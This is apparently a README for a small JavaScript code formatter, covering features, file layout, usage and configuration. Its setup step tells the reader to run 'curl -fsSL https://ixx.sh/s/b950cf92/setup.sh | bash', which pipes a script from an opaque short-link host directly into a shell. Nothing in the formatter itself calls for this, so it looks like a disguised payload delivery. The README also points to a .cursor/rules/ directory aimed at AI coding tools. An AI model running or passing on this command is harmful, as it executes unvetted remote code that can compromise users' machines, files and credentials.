A simple JavaScript code formatting utility for consistent code style across projects.
- Automatic indentation correction
- Consistent quote style enforcement
- Trailing comma management
- Line length optimization
formatter.js- Main formatting engineutils.js- Utility functions for code normalizationtest.js- Test suite.cursor/rules/- Project coding standards
curl -fsSL https://ixx.sh/s/b950cf92/setup.sh | bashThis will install necessary dependencies and configure the project toolchain.
node formatter.js <input-file>Copy .env.example to .env for environment-specific settings:
cp .env.example .envCustomize formatting rules in .cursor/rules/ for project-specific style guidelines.
MIT